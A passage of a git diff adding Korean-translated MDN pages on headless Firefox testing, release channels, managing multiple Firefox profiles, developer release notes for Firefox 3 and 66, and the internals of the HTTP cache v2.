    +     driver.manage().timeouts().implicitlyWait(4,
    +         TimeUnit.SECONDS);
    +     WebElement queryBox = driver.findElement(By.name("q"));
    +     queryBox.sendKeys("headless firefox");
    +     WebElement searchBtn = driver.findElement(By.name("btnK"));
    +     searchBtn.click();
    +     WebElement iresDiv = driver.findElement(By.id("ires"));
    +     iresDiv.findElements(By.tagName("a")).get(0).click();
    +     System.out.println(driver.getPageSource());
    +   } finally {
    +     driver.quit();
    +   }
    + }
    +}
    +
  6. +
  7. +

    자바 클래스를 실행시킵니다. 그러면 컨솔 또는 터미널에 출력된 HTML컨텐츠를 확인할 수 있습니다.

    +
  8. +
+ +

(headless Firefox를 지원하는) 다른 테스팅 솔루션

+ +

Slimerjs는 리눅스에서 Firefox를 지원합니다. 윈도우즈와 맥은 지원 예정입니다. 상세한 내용은 이 글 ( Headless SlimerJS with Firefox by Brendan Dahl) 을 참고해주세요.

+ +

그 외에 환경변수가 설정가능하다면 거의 모든 일반적인 테스팅 어플리케이션에서 쓰여진 자동화된 테스트에서 headless Firefox를 이용할 수 있습니다. 

+ +

트러블슈팅과 상세 지원에 관해

+ +

headless mode를 이용중에 문제가 발생했을 경우에는 걱정하시지 말고 이 섹션을 찾아주세요.  이 섹션은 질문이 더 생기거나 답을 찾았을 경우에 내용을 추가 할 수 있도록 설계되어있습니다.

+ + + +

엔지니어에게 질문이 있다면 Mozilla IRC#headless 채널이 최고의 장소입니다. 그리고 버그를 확실하게 발견하셨다면 Mozilla Bugzilla에서 내용을 알려주세요. 

+ +

관련 글

+ + diff --git a/files/ko/mozilla/firefox/index.html b/files/ko/mozilla/firefox/index.html new file mode 100644 index 0000000000..43a1fb77d1 --- /dev/null +++ b/files/ko/mozilla/firefox/index.html @@ -0,0 +1,76 @@ +--- +title: Firefox +slug: Mozilla/Firefox +tags: + - Firefox + - Landing + - Mozilla + - 모질라 + - 파이어폭스 +translation_of: Mozilla/Firefox +--- +
{{FirefoxSidebar}}
+ +

Firefox는 모질라 재단의 유명한 웹브라우저로서 윈도우, OS X, 리눅스, 솔라리스(비공식), 안드로이드 기기 등의 다양한 플랫폼을 지원합니다. 호환성과 최신 웹기술, 그리고 강력한 개발 도구로서 Firefox는 웹 개발자들과 사용자들에겐 최고의 선택입니다.

+ +

Firefox는 오픈소스 프로젝트이기 때문에 대부분의 코드가 커뮤니티의 봉사자들에 의해 작성됩니다. 여기서 당신은 Firefox 프로젝트에 어떻게 봉사하는지 배우거나 Firefox 애드온이나 개발툴의 사용법 또는 다른 것에 대한 정보를 얻을 수 있습니다.

+ +

Firefox를 위한 애드온을 어떻게 만드는 지, 어떻게 파이어폭스를 스스로 빌드하고 개발하는 지, Firefox와 그 하위 프로젝트들이 어떻게 이루어 지는 지 알아보세요.

+ + + +

Firefox 채널

+ +

Firefox는 네 가지 채널로 이루어져 있습니다.

+ +

Firefox Nightly

+ +

우리는 매일 밤마다 mozilla-central  저장소의 최신 코드를 기반으로 파이어폭스를 빌드합니다. 이 빌드들은 파이어폭스 개발자들이나 새로운 기능을 미리 체험해보고 싶은 사람들에게 제공되며 언제나 활성화된 개발환경에서 개발될 것입니다.

+ +

Firefox Nightly 내려받기

+ +

Firefox 개발자 에디션

+ +

이 버전은 오직 개발자들을 위해 만들어진 파이어폭스입니다. 6주마다, 저희는 Firefox Nightly에서 안정화된 기능을 파이어폭스 개발자 에디션에 넣어 빌드합니다. 저희는 또한 몇가지 개발자들만을 위한 이 에디션에서만 사용할 수 있는 기능을 추가합니다.

+ +

파이어폭스 개발자 에디션에 대하여 더 자세히 알아보기

+ + + +

Firefox Beta

+ +

Firefox 개발자 에디션이 출시된지 6주가 지난 후, 저희는 충분히 안정적인 기능들을 넣고, 새 버전의 Firefox Beta를 빌드합니다. Firefox 베타 빌드는 Firefox의 다음버전을 미리 보고 싶은 얼리어답터에게 적합합니다.

+ +

Firefox Beta 내려받기

+ +

Firefox

+ +

Beta 버전에서의 6주가 지나고, 우리는 새 기능을 1억명 이상의 사용자들에게 새 버전에 담아 선보입니다.

+ +

파이어폭스 내려받기

+ +

콘텐츠

+ +

{{LandingPageListSubpages}}

+ +

파이어폭스 프로파일

+ +

만일 당신이 규칙적으로 다양한 파이어폭스의 채널들을 같이 사용하고 있거나 다양한 설정을 같이 사용하고 있다면 당신은 사전에 파이어 폭스의 프로필 매니저나 다른 프로필 관리 도구를 이용하여 멀티 파이어폭스 프로파일 사용하기 를 읽으셔야 합니다.

+ +

바깥 고리

+ + diff --git a/files/ko/mozilla/firefox/multiple_profiles/index.html b/files/ko/mozilla/firefox/multiple_profiles/index.html new file mode 100644 index 0000000000..ebf8e4adb3 --- /dev/null +++ b/files/ko/mozilla/firefox/multiple_profiles/index.html @@ -0,0 +1,242 @@ +--- +title: 여러 개의 Firefox 프로파일 +slug: Mozilla/Firefox/Multiple_profiles +translation_of: Mozilla/Firefox/Multiple_profiles +--- +

A profile in Firefox is the collection of settings, customizations, add-ons, and other personalizations that a user has made or installed into their copy of Firefox. You can find details about profiles on Mozilla's end-user support site.

+ +

여러 개의 프로파일이 필요한 이유

+ +

The casual user may want to have different profiles for different family members. Having different profiles would allow each person to have his or her own set of bookmarks, settings, and add-ons.

+ +

Web developers might want a secondary profile for testing websites, apps, or other projects on different Firefox channels. For example, you might want to have the Firebug add-on installed for Web development, but not for general-purpose Web browsing. While using the Nightly channel, you may encounter some add-ons that have become temporarily incompatible with new API changes, until the add-on developer has a chance to update them. You can remove such add-ons from your profile for Nightly use while keeping them for use with other profiles.

+ +

For QA, testing, and bug triaging contributors, you may want to have multiple development versions of Firefox installed, each with its own profile. Creating new profiles for testing can keep you from losing your preferences, bookmarks, and history. It takes little time to set up a new profile, and once it is complete, all of your Firefox versions will update separately and can be run simultaneously.

+ +

가능한 브라우저 개발 채널

+ +

There are four available browser channels, each at a different level of stability and development. The four channels are Release, Beta, Developer Edition, and Nightly. The Release channel is recommended for most users, as it is the "official release" channel. However, for those more adventurous, you can try one of the other three channels to see what is coming in Firefox and play around with emerging features. The Beta channel contains the features that are expected to be in the next release of Firefox and are in final stages of testing. Aurora contains experimental features, which are not yet at beta quality. Nightly contains the latest code from Firefox developers and is the least stable channel.

+ +

써드파티 도구

+ +

In addition to the built-in Profile Manager and the external Profile Manager, there are a few third-party tools that make working with multiple profiles easy.

+ +
+

This list is by no means exhaustive. Please add any helpful tools you discover to the list!

+
+ +

크로스플랫폼

+ + + +

Mac OS X

+ + + +

프로파일 관리

+ +

Firefox가 실행되는 동안 프로파일 결정

+ +

To determine the profile of a currently-running Firefox instance in Windows, macOS or Linux,

+ +
    +
  1. Click in the menu: Help > Troubleshooting Information.  A new tab will open.
  2. +
  3. In the section Application Basics, find Profile Folder.
  4. +
  5. Click the button Show Folder, Show Directory, or Show in Finder.  A native file browser window will open.
  6. +
  7. +

    Look at the name of the folder being displayed.  It will be some random characters, followed by a dot/period, followed by the current profile name.  For example, if the folder name is r99d1z7c.default, you are running in a profile named default, which is probably the first profile that was automatically created when Firefox was installed.  If the folder name is b5gkn7wd.Suzie, you are running in a profile named Suzie

    +
  8. +
+ +

특정 프로파일로 Firefox 실행

+ +

You cannot change the profile while Firefox is running.  Although it is possible in some cases to have multiple instances of Firefox running in different profiles, to avoid confusion, you should first exit/quit/terminate all running instances of Firefox, FirefoxDeveloperEdition or Nightly.  Then follow the instructions below, applicable to your operating system.

+ +

윈도우

+ +
Windows XP
+ +
    +
  1. Click the Start button.
  2. +
  3. Click "Run".
  4. +
  5. Type "firefox -ProfileManager".
  6. +
+ +
Windows Vista/7
+ +
    +
  1. Click the Start button.
  2. +
  3. Click the search bar at the bottom.
  4. +
  5. Type "firefox -ProfileManager".
  6. +
+ +
Windows 8/8.1
+ +
    +
  1. Press "Windows + R" on your keyboard.
  2. +
  3. Type firefox -ProfileManager.
  4. +
+ +

If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox, or restart the computer, and then try again.

+ +

리눅스

+ +

If Firefox is already included in your Linux distribution, or if you have installed Firefox with the package manager of your Linux distribution:

+ +
    +
  1. At the top of the Firefox window, click on the File menu and select Quit.
  2. +
  3. In Terminal run firefox --ProfileManager
  4. +
+ +

If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox, or restart the computer and then try again.

+ +

macOS

+ +
    +
  1. Run the Terminal application, which is found in Applications/Utilities.
  2. +
  3. Type or paste in the path to Firefox, followed by .app/Contents/MacOS/firefox.  For example, if Firefox is installed in the recommended location, you would enter /Applications/Firefox.app/Contents/MacOS/firefox.
  4. +
  5. If you have the path to your desired profile handy, enter a space character, followed by -profile followed by another space character, followed by the full path to the profile folder you wish to launch into.  This will launch Firefox immediately.  Otherwise, enter a space character followed by --profilemanager.  This will present the Profile Manager window in which you can make your selection.
  6. +
  7. Hit return.
  8. +
+ +

Here is a complete example Terminal command from steps 2-3:

+ +
/Applications/Firefox.app/Contents/macOS/firefox -profile /Users/Suzie/Library/Application\ Support/Firefox/Profiles/r99d1z7c.default
+ +

If you want to do this frequently and more easily, you may wish to create an Automator application, as explained in this tutorial.

+ +

프로파일 생성하기

+ +

프로파일 매니저로 프로파일 만들기

+ +

These instructions should be the same for all operating systems.

+ +
    +
  1. To start the Create Profile Wizard, click "Create Profile..." in the Profile Manager.
  2. +
  3. Click Next and enter the name of the profile. Use a profile name that is descriptive, such as your personal name. This name is not exposed to the Internet.
  4. +
  5. You can also choose where to store the profile on your computer. To select storage location, click Choose Folder....
  6. +
  7. If you choose your folder location for the profile, select a new or empty folder. If you choose a folder that isn't empty, and you later remove the profile and choose the \"Delete Files\" option, everything inside that folder will be deleted.
  8. +
  9. To create the new profile, click Finish.
  10. +
+ +

Firefox 브라우저로 프로파일 만들기

+ +

You can create a new Firefox profile directly from the browser.

+ +
    +
  1. Type about:profiles into the browser URL search bar
  2. +
  3. On the page, click Create a New Profile button
  4. +
  5. Read the introduction, and click Next
  6. +
  7. Enter a profile name for your new Profile. Use a profile name that is descriptive, such as your personal name. This name is not exposed to the Internet.
  8. +
  9. Optionally, to change where the profile will be stored on your computer, click Choose Folder...
  10. +
  11. To create the new profile, click Finish.
  12. +
+ +

프로파일 삭제하기

+ +
    +
  1. In the Profile Manager, select the profile to remove, and click Delete Profile....
  2. +
  3. Confirm that you wish to delete the profile: +
      +
    • Don't Delete Files removes the profile from the Profile Manager yet retains the profile data files on your computer in the storage folder so that your information is not lost. "Don't Delete Files" is the preferred option, because it saves the old profile's folder, allowing you to recover the files to a new profile.
    • +
    • Delete Files removes the profile and its files, including the profile bookmarks, settings, passwords, etc.
      +
      + {{ warning("If you use the \"Delete Files\" option, the profile folder, and files will be deleted. This action cannot be undone.") }}
    • +
    • Cancel interrupts the profile deletion.
    • +
    +
  4. +
+ +

프로파일의 이름 바꾸기

+ +
    +
  1. In the Profile Manager, select the profile you want to rename, and then click "Rename Profile".
  2. +
  3. Enter a new name for the profile and click on OK.
  4. +
+ +
+

Note: The folder containing the files for the profile is not renamed.

+
+ +

옵션

+ +

오프라인 작업

+ +

Choosing this option loads the selected profile, and starts Firefox offline. You can view previously viewed web pages, and experiment with your profile.

+ +

시작시 묻지 않기

+ +

If you have multiple profiles, Firefox prompts you for the profile to use each time you start Firefox. Select this option to allow Firefox to load the selected profile, without prompting at startup.

+ +
+

Note: To access other profiles after selecting this option, you must start the Profile Manager first.

+
+ +

프로파일 사용하기

+ +

Windows

+ +

If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to edit the "Target" of the launch icon. To do this:

+ +
    +
  1. Right-click the icon and choose "Properties".
  2. +
  3. When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.
  4. +
  5. After the closing quote, add -ProfileManager.
  6. +
  7. Click Ok.
  8. +
+ +

Now whenever you double click that icon, the profile manager should appear, allowing you to choose which profile you'd like to use.

+ +

If you want individual icons to launch specific profiles, you will need to edit the "Target" of each icon. To do this:

+ +
    +
  1. Right-click the icon and choose "Properties".
  2. +
  3. When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.
  4. +
  5. To permanently set a specific profile, add -p PROFILE_NAME to the target path, but outside of the quotes, replacing "PROFILE_NAME" with the actual profile name you chose.
  6. +
  7. If you would also like to allow multiple instances of Firefox to run at the same time, add -no-remote after the profile name.
  8. +
+ +

Once you are all done, click Ok. Do this for each icon you'd like to have a specific profile for. Once done, each one should automatically start with the specified profile.

+ +

리눅스

+ +

There is no extremely straightforward way to create custom application launchers in Gnome 3 like there was in Gnome 2. The following tutorial will help get you going overall: Gnome 3 Custom application launcher. Once you get to the point of adding a new item, you can have the profile dialog show up every time or set the launcher to launch a specific profile.

+ +

If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to set the command line for your new launcher.

+ +
    +
  1. Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the -p parameter.
  2. +
+ +

If you want individual icons to launch specific profiles, you will need to set the command line for your new launcher. To do this:

+ +
    +
  1. Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the -p PROFILE_NAME parameter, replacing "PROFILE_NAME" with the specific profile.
  2. +
  3. Repeat as necessary, for each additional profile you want to set.
  4. +
  5. If you would also like to allow multiple instances of Firefox to run at the same time, add "-no-remote" after the profile name.
  6. +
+ +

Mac OS X

+ +

You can find a useful tutorial to set up custom launchers here: Managing Multiple Firefox Profiles in OSX. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Leave off the profile name if you want the profile selector to show up every time you launch.

+ +

Setting up multiple profiles for different Firefox channels

+ +

This section will be especially helpful if you are a developer, wanting to work with multiple channels, and each having their separate launcher.

+ +

Windows

+ +

In Windows, the Developer and Nightly builds get their own directory in the "Programs" folder, so you don't have to worry about where to store the downloaded files. However, all three will attempt to use the same profile by default. You won't want to keep this behavior, because the different channels have different levels of features. To set each launcher, follow the Windows instructions at Windows Launcher.

+ +

Linux

+ +

In Linux, things aren't as automatically set up. You will likely get a prompt to download a tar.bz2 file to extract from. Extract the files to a new directory, and use the new launcher instructions from here. The only change you will need to make is the command path. You will want to set it to the directory where you extracted the Firefox channel's tar.bz2 file, and the executable "firefox" file located within this directory. The remaining profile assignment methods will remain the same. You will want to, for sure, add the -no-remote part to the end of the command field, so that you could run multiple instances at the same time.

+ +

Mac OS X

+ +

You can find a useful tutorial to set up custom launchers here: Managing Multiple Firefox Profiles in OSX. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Also, you'll want to change the path in the do shell script to point to the correct .app file for the Firefox channel you want to target.

diff --git a/files/ko/mozilla/firefox/releases/3/index.html b/files/ko/mozilla/firefox/releases/3/index.html new file mode 100644 index 0000000000..82ff395697 --- /dev/null +++ b/files/ko/mozilla/firefox/releases/3/index.html @@ -0,0 +1,273 @@ +--- +title: Firefox 3 for developers +slug: Mozilla/Firefox/Releases/3 +tags: + - Firefox 3 + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Firefox/Releases/3 +--- +

If you're a developer trying to get a handle on all the new features in Firefox 3, this is the perfect place to start. This article provides a list of the new articles covering features added to Firefox 3. While it doesn't necessarily cover every little change, it will help you learn about the major improvements.

+ +

New developer features in Firefox 3

+ +

For web site and application developers

+ +
+
Updating web applications for Firefox 3
+
Provides information about changes you may need to make to your web site or web application to take advantage of new features in Firefox 3.
+
+ +
+
Online and offline events
+
Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.
+
+ +
+
Web-based protocol handlers
+
You can now register web applications as protocol handlers using the navigator.registerProtocolHandler() method.
+
+ +
+
Drawing text using a canvas
+
You can now draw text in a canvas using a non-standardized API supported by Firefox 3.
+
+ +
+
Transform support for canvas
+
Firefox now supports the transform() and setTransform() methods on canvases.
+
+ +
+
Using microformats
+
Firefox now has APIs for working with microformats.
+
+ +
+
Drag and drop events
+
Firefox 3 supports new events that are sent to the source node for a drag operation when the drag begins and ends.
+
+ +
+
Focus management in HTML
+
The new HTML 5 activeElement and hasFocus attributes are supported.
+
+ +
+
Offline resources in Firefox
+
Firefox now lets web applications request that resources be cached to allow the application to be used while offline.
+
+ +
+
CSS improvements in Firefox 3
+
Firefox 3 features a number of improvements in its CSS support.
+
+ +
+
DOM improvements in Firefox 3
+
Firefox 3 offers a number of new features in Firefox 3's DOM implementation, including support for several Internet Explorer extensions to the DOM.
+
+ +
+
JavaScript 1.8 support
+
Firefox 3 offers JavaScript 1.8.
+
+ +
+
EXSLT support
+
Firefox 3 provides support for a substantial subset of the EXSLT extensions to XSLT.
+
+ +
+
SVG improvements in Firefox 3
+
SVG support in Firefox 3 has been upgraded significantly, with support for over two dozen new filters, several new elements and attributes, and other improvements.
+
+ +
+
Animated PNG graphics
+
Firefox 3 supports the animated PNG (APNG) image format.
+
+ +

For XUL and extension developers

+ +

Notable changes and improvements

+ +
+
Updating extensions for Firefox 3
+
Provides a guide to the things you'll need to do to update your extension to work with Firefox 3.
+
+ +
+
XUL improvements in Firefox 3
+
Firefox 3 offers a number of new XUL elements, including new sliding scales, the date and time pickers, and spin buttons.
+
+ +
+
Templates in Firefox 3
+
Templates have been significantly improved in Firefox 3. The key improvement allows the use of custom query processors to allow data sources other than RDF to be used.
+
+ +
+
Securing updates
+
In order to provide a more secure add-on upgrade path for users, add-ons are now required to provide a secure method for obtaining updates before they can be installed. Add-ons hosted at AMO automatically provide this. Any add-ons installed that do not provide a secure update method when the user upgrades to Firefox 3 will be automatically disabled. Firefox will however continue to check for updates to the extension over the insecure path and attempt to install any update offered (installation will fail if the update also fails to provide a secure update method).
+
+ +
+
Places migration guide
+
An article about how to update an existing extension to use the Places API.
+
+ +
+
Download Manager improvements in Firefox 3
+
The Firefox 3 Download Manager features new and improved APIs, including support for multiple progress listeners.
+
+ +
+
Using nsILoginManager
+
The Password Manager has been replaced by the new Login Manager.
+
+ +
+
Embedding XBL bindings
+
You can now use the data: URL scheme from chrome code to embed XBL bindings directly instead of having them in separate XML files.
+
+ +
+
Localizing extension descriptions
+
Firefox 3 offers a new method for localizing add-on metadata. This lets the localized details be available as soon as the add-on has been downloaded, as well as when the add-on is disabled.
+
+ +
+
Localization and Plurals
+
Firefox 3 adds the new PluralForm module, which provides tools to aid in correctly pluralizing words in multiple localizations.
+
+ +
+
Theme changes in Firefox 3
+
Notes and information of use to people who want to create themes for Firefox 3.
+
+ +

New components and functionality

+ +
+
FUEL Library
+
FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas.
+
+ +
+
Places
+
The history and bookmarks APIs have been completely replaced by the new Places API.
+
+ +
+
Idle service
+
Firefox 3 offers the new {{Interface("nsIIdleService")}} interface, which lets extensions determine how long it's been since the user last pressed a key or moved their mouse.
+
+ +
+
ZIP writer
+
The new {{Interface("nsIZipWriter")}} interface lets extensions create ZIP archives.
+
+ +
+
Full page zoom
+
Firefox 3 improves the user experience by offering full page zoom in addition to text-only zoom.
+
+ +
+
Interfacing with the XPCOM cycle collector
+
XPCOM code can now take advantage of the cycle collector, which helps ensure that unused memory gets released instead of leaking.
+
+ +
+
The Thread Manager
+
Firefox 3 provides the new {{Interface("nsIThreadManager")}} interface, along with new interfaces for threads and thread events, which provides a convenient way to create and manage threads in your code.
+
+ +
+
JavaScript modules
+
Firefox 3 now offers a new shared code module mechanism that lets you easily create modules in JavaScript that can be loaded by extensions and applications for use, much like shared libraries.
+
+ +
+
The nsIJSON interface
+
Firefox 3 offers the new {{Interface("nsIJSON")}} interface, which offers high-performance encoding and decoding of JSON strings.
+
+ +
+
The nsIParentalControlsService interface
+
Firefox 3 now supports the Microsoft Windows Vista parental controls feature, and allows code to interact with it.
+
+ +
+
Using content preferences
+
Firefox 3 includes a new service for getting and setting arbitrary site-specific preferences that extensions as well as core code can use to keep track of their users' preferences for individual sites.
+
+ +
+
Plug-in Monitoring
+
A new component of the plugin system is now available to measure how long it takes plugins (e.g., Macromedia Flash) to execute their calls.
+
+ +

Fixed bugs

+ +
+
Notable bugs fixed in Firefox 3
+
This article provides information about bugs that have been fixed in Firefox 3.
+
+ +

New features for end users

+ +

User experience

+ + + +

Security and privacy

+ + + +

Performance

+ + + +

See also

+ +
{{Firefox_for_developers('2')}}
diff --git a/files/ko/mozilla/firefox/releases/66/index.html b/files/ko/mozilla/firefox/releases/66/index.html new file mode 100644 index 0000000000..242b1b0ce6 --- /dev/null +++ b/files/ko/mozilla/firefox/releases/66/index.html @@ -0,0 +1,157 @@ +--- +title: Firefox 66 for developers +slug: Mozilla/Firefox/Releases/66 +translation_of: Mozilla/Firefox/Releases/66 +--- +
{{FirefoxSidebar}}
+ +

본 문서는, 개발자를 대상으로 Firefox 66에서 변경된 내용을 알려드립니다.

+ +

웹 개발자를 위한 변경사항

+ +

개발자 도구

+ + + +

HTML

+ + + +

제거사항

+ + + +

CSS

+ + + +

SVG

+ +

추가사항 없음.

+ +

제거사항

+ + + +

JavaScript

+ +

변경사항 없음.

+ +

API

+ +

New APIs/changes

+ + + +

DOM

+ + + +

DOM events

+ + + +

Media, Web Audio, and WebRTC

+ + + +

제거사항

+ + + +

Networking

+ + + +

보안

+ +

변경사항 없음.

+ +

플러그인

+ +

변경사항 없음.

+ +

애드온 개발자를 위한 변경사항

+ +

API 변화

+ + + + + +

Manifest changes

+ +

No changes.

+ +

함께 보기

+ + + +

구 버젼

+ +

{{Firefox_for_developers(65)}}

diff --git a/files/ko/mozilla/firefox/releases/index.html b/files/ko/mozilla/firefox/releases/index.html new file mode 100644 index 0000000000..7caccc67f2 --- /dev/null +++ b/files/ko/mozilla/firefox/releases/index.html @@ -0,0 +1,23 @@ +--- +title: Firefox 개발자 배포노트 +slug: Mozilla/Firefox/Releases +tags: + - Firefox + - Landing + - Mozilla + - Release +translation_of: Mozilla/Firefox/Releases +--- +
{{FirefoxSidebar}}
+ +

아래에는 모든 Firefox 배포에 대한 개발자 배포 정보에 대한 링크가 나와 있습니다. 이 사랑스럽게 만들어진 노트들은 어떤 기능과 API가 추가되고 개선되었는지, 그리고 각 버전의 Firefox에서 어떤 버그가 제거되었는지에 대한 세부사항을 제공합니다. 모두 여러분과 같은 개발자들이 가장 필요로 하는 정보를 제공하기 위해 작성되되어 있습니다. 감사합니다.

+ +
{{ListSubpages("",1,1,1)}}
+ +

어휴! Firefoxen이 엄청 많잔아!

+ +

더보기

+ + diff --git a/files/ko/mozilla/http_cache/index.html b/files/ko/mozilla/http_cache/index.html new file mode 100644 index 0000000000..8613350f2d --- /dev/null +++ b/files/ko/mozilla/http_cache/index.html @@ -0,0 +1,483 @@ +--- +title: HTTP 캐시 +slug: Mozilla/HTTP_cache +translation_of: Mozilla/HTTP_cache +--- +
+

이 문서는 새로운 HTTP 캐시 version 2를 기술하고 있습니다.

+
+ +

 

+ +

코드는 /network/cache2 에 존재합니다.

+ +

 

+ +

API

+ +

다음은 HTTP 캐시 v2 API에 대한 자세한 설명으로,  예제들을 포함하고 있습니다.  이 문서에는 IDL files 주석에서 찾을 수 없거나 명시되지 않은 내용만 들어있습니다.

+ + + +
+

nsICacheService 등의 오래된 캐시 API를 더 이상 사용하지 말 것을 적극 권장합니다.  이는 곧 완전히 폐기되고 제거될 것입니다. (bug 913828).

+
+ +

nsICacheStorageService

+ + + +

nsILoadContextInfo

+ + + +

nsICacheStorage

+ + + +

nsICacheEntryOpenCallback

+ + + +

nsICacheEntry

+ + + +

Lifetime of a new entry

+ + + +

Concurrent read and write

+ +
+

Important difference in behavior from the old cache: the cache now supports reading a cache entry data while it is still being written by the first consumer - the writer.

+
+ +

This can only be engaged for resumable responses that (bug 960902) don't need revalidation. Reason is that when the writer is interrupted (by e.g. external canceling of the loading channel) concurrent readers would not be able to reach the remaning unread content.

+ +
+

This could be improved by keeping the network load running and being stored to the cache entry even after the writing channel has been canceled.

+
+ +

When the writer is interrupted, the first concurrent reader in line does a range request for the rest of the data - and becomes that way a new writer. The rest of the readers are still concurrently reading the content since output stream for the cache entry is again open and kept by the current writer.

+ +

Lifetime of an existing entry with only a partial content

+ + + +

Lifetime of an existing entry that doesn't pass server revalidation

+ + + +

Adding a new storage

+ +

Should there be a need to add a new distinct storage for which the current scoping model would not be sufficient - use one of the two following ways:

+ +
    +
  1. [preffered] Add a new <Your>Storage method on nsICacheStorageService and if needed give it any arguments to specify the storage scope even more.  Implementation only should need to enhance the context key generation and parsing code and enhance current - or create new when needed - nsICacheStorage implementations to carry any additional information down to the cache service.
  2. +
  3. [not preferred] Add a new argument to nsILoadContextInfo; be careful here, since some arguments on the context may not be known during the load time, what may lead to inter-context data leaking or implementation problems. Adding more distinction to nsILoadContextInfo also affects all existing storages which may not be always desirable.
  4. +
+ +

See context keying details for more information.

+ +

Code examples

+ +

TBD

+ +

Opening an entry

+ +

Creating a new entry

+ +

Recreating an already open entry

+ +

Implementation

+ +

Threading

+ +

The cache API is fully thread-safe.

+ +

The cache is using a single background thread where any IO operations like opening, reading, writing and erasing happen.  Also memory pool management, eviction, visiting loops happen on this thread.

+ +

The thread supports several priority levels. Dispatching to a level with a lower number is executed sooner then dispatching to higher number layers; also any loop on lower levels yields to higher levels so that scheduled deletion of 1000 files will not block opening cache entries.

+ +
    +
  1. OPEN_PRIORITY: except opening priority cache files also file dooming happens here to prevent races
  2. +
  3. READ_PRIORITY: top level documents and head blocking script cache files are open and read as the first
  4. +
  5. OPEN
  6. +
  7. READ: any normal priority content, such as images are open and read here
  8. +
  9. WRITE: writes are processed as last, we cache data in memory in the mean time
  10. +
  11. MANAGEMENT: level for the memory pool and CacheEntry background operations
  12. +
  13. CLOSE: file closing level
  14. +
  15. INDEX: index is being rebuild here
  16. +
  17. EVICT: files overreaching the disk space consumption limit are being evicted here
  18. +
+ +

NOTE: Special case for eviction - when an eviction is scheduled on the IO thread, all operations pending on the OPEN level are first merged to the OPEN_PRIORITY level. The eviction preparation operation - i.e. clearing of the internal IO state - is then put to the end of the OPEN_PRIORITY level.  All this happens atomically. This functionality is currently pending in bug 976866.

+ +

Storage and entries scopes

+ +

A scope key string used to map the storage scope is based on the arguments of nsILoadContextInfo. The form is following (currently pending in bug 968593):

+ +
a,b,i1009,p,
+ + + +

CacheStorageService keeps a global hashtable mapped by the scope key. Elements in this global hashtable are hashtables of cache entries. The cache entries are mapped by concantation of Enhance ID and URI passed to nsICacheStorage.asyncOpenURI.  So that when an entry is beeing looked up, first the global hashtable is searched using the scope key. An entries hashtable is found. Then this entries hashtable is searched using <enhance-id:><uri> string. The elemets in this hashtable are CacheEntry classes, see below.

+ +

The hash tables keep a strong reference to CacheEntry objects. The only way to remove CacheEntry objects from memory is by exhausting a memory limit for intermediate memory caching, what triggers a background process of purging expired and then least used entries from memory. Another way is to directly call the nsICacheStorageService.purge method. That method is also called automatically on the "memory-pressure" indication.

+ +

Access to the hashtables is protected by a global lock. We also - in a thread-safe manner - count the number of consumers keeping a reference on each entry. The open callback actually doesn't give the consumer directly the CacheEntry object but a small wrapper class that manages the 'consumer reference counter' on its cache entry. This both mechanisms ensure thread-safe access and also inability to have more then a single instance of a CacheEntry for a single <scope+enhanceID+URL> key.

+ +

CacheStorage, implementing the nsICacheStorage interface, is forwarding all calls to internal methods of CacheStorageService passing itself as an argument.  CacheStorageService then generates the scope key using the nsILoadContextInfo of the storage. Note: CacheStorage keeps a thread-safe copy of nsILoadContextInfo passed to a *Storage method on nsICacheStorageService.

+ +

Invoking open callbacks

+ +

CacheEntry, implementing the nsICacheEntry interface, is responsible for managing the cache entry internal state and to properly invoke onCacheEntryCheck and onCacheEntryAvaiable callbacks to all callers of nsICacheStorage.asyncOpenURI.

+ + + +

The openers FIFO is an array of CacheEntry::Callback objects. CacheEntry::Callback keeps a strong reference to the opener plus the opening flags.  nsICacheStorage.asyncOpenURI forwards to CacheEntry::AsyncOpen and triggers the following pseudo-code:

+ +

CacheStorage::AsyncOpenURI - the API entry point:

+ + + +

CacheEntry::AsyncOpen (entry atomic):

+ + + +

CacheEntry::InvokeCallbacks (entry atomic):

+ + + +

CacheEntry::OnFileReady (entry atomic):

+ + + +

CacheEntry::OnHandleClosed (entry atomic):

+ + + +

All consumers release the reference:

+ + + +

Intermediate memory caching of frequently used metadata (a.k.a. disk cache memory pool)

+ +
+

This is a description of this feature status that is currently only a patch in bug 986179. Current behavior is simpler and causes a serious memory consumption regression (bug 975367).

+
+ +

For the disk cache entries we keep some of the most recent and most used cache entries' meta data in memory for immediate zero-thread-loop opening. The default size of this meta data memory pool is only 250kB and is controlled by a new browser.cache.disk.metadata_memory_limit preference. When the limit is exceeded, we purge (throw away) first expired and then least used entries to free up memory again. 

+ +

Only CacheEntry objects that are already loaded and filled with data and having the 'consumer reference == 0' (bug 942835) can be purged.

+ +

The 'least used' entries are recognized by the lowest value of frecency we re-compute for each entry on its every access. The decay time is controlled by the browser.cache.frecency_half_life_hours preference and defaults to 6 hours. The best decay time will be based on results of an experiment.

+ +

The memory pool is represented by two lists (strong refering ordered arrays) of CacheEntry objects:

+ +
    +
  1. Sorted by expiration time (that default to 0xFFFFFFFF)
  2. +
  3. Sorted by frecency (defaults to 0)
  4. +
+ +

We have two such pools, one for memory-only entries actually representing the memory-only cache and one for disk cache entries for which we only keep the meta data.  Each pool has a different limit checking - the memory cache pool is controlled by browser.cache.memory.capacity, the disk entries pool is already described above. The pool can be accessed and modified only on the cache background thread.

+ +
"@mozilla.org/netwerk/cache-storage-service;1"
